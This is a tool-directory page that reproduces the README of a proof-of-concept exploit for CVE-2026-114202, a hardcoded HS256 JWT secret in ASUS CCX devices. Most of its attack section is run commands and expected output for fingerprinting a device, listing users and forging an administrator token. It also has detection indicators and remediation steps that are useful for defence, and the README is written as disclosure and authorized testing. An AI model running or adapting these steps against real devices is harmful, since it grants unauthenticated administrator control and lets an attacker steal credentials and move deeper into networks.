Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/llcforge/cve-2026-114202
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingAuthentication
GitHubllcforge/cve-2026-114202

CVE-2026-114202

Three-stage PoC for CVE-2026-114202: fingerprints ASUS CCX devices, enumerates users, and forges HS256 admin JWTs from the hardcoded secret to gain unauthenticated API access.

View Repository
3 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    994
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    656
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    422
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    389
  • 5

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    333
  • 6

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    330

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-114202

ASUS CCX — Hardcoded JWT Secret Authentication Bypass

CVSS CWE Language Fixed Disclosed


Overview

ASUS CCX (Cloud Controller / Communication Exchange) devices ship with a hardcoded HS256 JWT signing secret embedded in firmware. Because the secret never changes between units and cannot be rotated by the administrator, any attacker who reverse-engineers or obtains the secret can forge tokens for any user — including administrator accounts — granting full unauthenticated API access to every CCX device in the wild.

FieldValue
CVECVE-2026-114202
CVSS 3.110.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWECWE-798 (Use of Hard-coded Credentials)
AffectedASUS CCX all firmware versions prior to patch
Auth RequiredNone
Disclosed2026-11-18

Vulnerability Details

CCX exposes a REST API authenticated via HS256-signed JWTs. The signing secret is a static string compiled into the firmware and identical across all units worldwide. The API does not implement:

  • Secret rotation or per-device key derivation
  • Token replay protection
  • IP binding for issued tokens

An attacker who extracts the secret from any CCX firmware image (available publicly from ASUS support) can craft tokens for arbitrary user/role combinations and authenticate to any CCX device on the internet.

The PoC performs a 3-stage attack:

  1. Fingerprint — confirm target is a CCX device and determine firmware version
  2. Discover — enumerate valid usernames from the API
  3. Forge — mint an HS256 JWT for the administrator role and obtain full API access

Attack Flow

flowchart LR
    A([Attacker]) -->|HTTP probe| B[CCX Device\nany unit worldwide]
    B -->|CCX version banner| A
    A -->|Extract hardcoded\nHS256 secret from firmware| C[Known Secret\nHS256]
    C -->|Forge admin JWT| D[POST /api/auth/token\nForged token]
    D --> B
    B -->|200 OK\nFull admin session| E([Admin Access\nAll CCX APIs])

    style A fill:#3d1a1a,stroke:#f85149,color:#f85149
    style C fill:#2d1a3d,stroke:#a855f7,color:#a855f7
    style E fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff

PoC Usage

Warning: Authorized testing and isolated lab environments only.

Setup

pip install -r requirements.txt
# requirements: requests, pyjwt

Stage 1 — Fingerprint

Confirm the target is a CCX device and retrieve version information:

python3 poc.py --target https://ccx.example.com --stage fingerprint

Expected output:

[*] target: https://ccx.example.com
[+] ASUS CCX detected
    model:   CCX-2000
    version: 3.1.4-build20260118
[*] firmware version vulnerable: YES

Stage 2 — Discover

Enumerate accessible API endpoints and valid usernames:

python3 poc.py --target https://ccx.example.com --stage discover

Expected output:

[*] enumerating users via /api/users (unauthenticated list)
[+] found users: admin, operator, monitor
[*] enumerating endpoints...
[+] accessible endpoints: /api/config, /api/logs, /api/system, /api/users

Stage 3 — Forge (full exploit)

Mint a forged administrator JWT and authenticate:

python3 poc.py --target https://ccx.example.com --stage forge --user admin

# Chain all 3 stages in one run
python3 poc.py --target https://ccx.example.com --stage all --user admin

Expected output:

[*] forging HS256 JWT for user=admin role=administrator
[+] token: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4...
[*] authenticating with forged token...
    POST /api/auth/token  HTTP 200
[!] VULNERABLE — authenticated as administrator without credentials
[*] GET /api/system
    HTTP 200  {"hostname":"ccx-prod-01","uptime":...}

Available flags

FlagDescription
--target URLTarget CCX base URL (required)
--stage fingerprint|discover|forge|allAttack stage to run
--user NAMEUsername to forge token for (default: admin)
--role ROLERole to embed in token (default: administrator)
--proxy URLHTTP proxy for Burp Suite integration
--no-verifySkip TLS certificate verification

Expected output — patched device

[*] target: https://ccx.example.com
[*] forging HS256 JWT for user=admin
[*] POST /api/auth/token  HTTP 401  Unauthorized
[+] NOT vulnerable — secret has been rotated or token rejected

Detection

IndicatorNotes
Auth token issued without prior credential exchangeNo login attempt before API calls
JWT alg: HS256 with known hardcoded secretDecode token header with python3 -c "import jwt; jwt.decode(...)"
API calls from unexpected IP rangesCCX does not bind tokens to source IP
/api/config or /api/users accessed with no prior sessionUnauthenticated enumeration attempt

Impact

Full unauthenticated access to all CCX management APIs on every unpatched device worldwide. An attacker can:

  • Read and modify device configuration
  • Pivot to other network segments through CCX-managed tunnels
  • Extract stored credentials and certificates
  • Persist by creating new administrator accounts

Remediation

Apply the ASUS CCX firmware patch that introduces per-device derived secrets.

ActionDetail
Apply firmware patchDownload from ASUS security advisory
Rotate admin passwordsAll stored passwords may be exposed
Restrict API accessFirewall CCX management port to management VLAN
Monitor auth logsAlert on JWT authentication without prior credential step

References

  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-114202
  • ASUS Security Advisory: https://www.asus.com/content/asus-product-security-advisory/

Disclaimer: For authorized security research and controlled lab use only. MIT License.

Download Tool